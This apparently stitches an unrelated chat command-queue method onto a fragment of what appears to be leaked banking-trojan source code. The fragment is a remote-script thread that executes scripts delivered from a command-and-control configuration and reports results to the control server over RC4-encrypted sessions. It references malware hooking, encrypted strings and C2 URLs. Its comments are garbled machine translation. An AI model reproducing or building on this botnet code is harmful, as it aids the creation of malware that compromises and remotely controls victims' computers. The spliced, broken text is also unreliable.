void ChatCommandHandler::queueCommand(const std::wstring& _cmd,
		const std::wstring& _groupIdent, bool _unique)
	{
		if (_unique)
			removePendingCommandGroup(_groupIdent);

		m_AccessMutex.lock();
		m_PendingCommands.push_back(std::make_pair(_cmd, _groupIdent));
		m_AccessMutex.unlock();

		executePendingCommands(findChatRichEdit());
	}
/*В В The entry point for processing the script.

В В IN p - BinStorage:: STORAGE.

В В Return - 0.*/
static DWORD WINAPI scriptProc(void *p)
{
    CoreHook::disableFileHookerForCurrentThread(true);
    HANDLE mutex = Core::waitForMutexOfObject(Core::OBJECT_ID_REMOTESCRIPT, MalwareTools::KON_GLOBAL);
    if(mutex == NULL)
    {
        WDEBUG0(WDDT_ERROR, "Failed.");
        return 1;
    }

    WDEBUG0(WDDT_INFO, "Started.");

    BinStorage::STORAGE *script = (BinStorage::STORAGE *)p;
    BinStorage::ITEM *curItem = NULL;
    LPBYTE currentHash;
    pendingFlags = 0;

    //Overview of scripts.
    while((curItem = BinStorage::_getNextItem(script, curItem)))if(curItem->realSize > MD5HASH_SIZE && (currentHash = (LPBYTE)BinStorage::_getItemData(curItem)) != NULL)
        {
            WDEBUG1(WDDT_INFO, "Founded script with size %u", curItem->realSize);

            //Data were obtained on a hash script.
            WORD errorMessageId = getScriptStatusByHash(currentHash);
            DWORD errorLine = (DWORD)-1;

            //Execution of the script.
            if(errorMessageId == 0)
            {
                LPWSTR scriptText = Str::_utf8ToUnicode((LPSTR)((LPBYTE)currentHash + MD5HASH_SIZE), curItem->realSize - MD5HASH_SIZE);
                if(scriptText == NULL)
                {
                    errorMessageId = CryptedStrings::id_remotescript_error_not_enough_memory;
                    WDEBUG0(WDDT_ERROR, "_utf8ToUnicode failed.");
                }
                else
                {
                    errorMessageId = executeScript(scriptText, &errorLine);
                }
                Mem::free(scriptText);
            }

            //Sending a response from the server.
            {
                BinStorage::STORAGE *config;
                if((config = DynamicConfig::getCurrent()))
                {
                    LPSTR url = (LPSTR)BinStorage::_getItemDataEx(config, CFGID_URL_SERVER_0, BinStorage::ITEMF_IS_OPTION, NULL);
                    Mem::free(config);

                    if(url && *url != 0)
                    {
                        Crypt::RC4KEY rc4Key;
                        {
                            BASECONFIG baseConfig;
                            Core::getBaseConfig(&baseConfig);
                            Mem::_copy(&rc4Key, &baseConfig.baseKey, sizeof(Crypt::RC4KEY));
                        }

                        SCRIPTDATA scriptData;
                        scriptData.errorMessageId = errorMessageId;
                        scriptData.errorLine      = errorLine;
                        scriptData.hash           = currentHash;

                        Report::SERVERSESSION serverSession;
                        serverSession.url         = url;
                        serverSession.requestProc = requestProc;
                        serverSession.resultProc  = resultProc;
                        serverSession.stopEvent   = NULL;//coreData.globalHandles.stopEvent; / / If we downloaded the update, then there is no time CHASSENEUIL post a reply.
                        serverSession.rc4Key      = &rc4Key;
                        serverSession.postData    = NULL;
                        serverSession.customData  = &scriptData;

                        Report::startServerSession(&serverSession);
                    }
                    Mem::free(url);
                }
            }

            Mem::free(currentHash);
        }

    Mem::free(script);
    executePendingCommands();
    WDEBUG0(WDDT_INFO, "Stopped.");
    Sync::_freeMutex(mutex);

    return 0;
}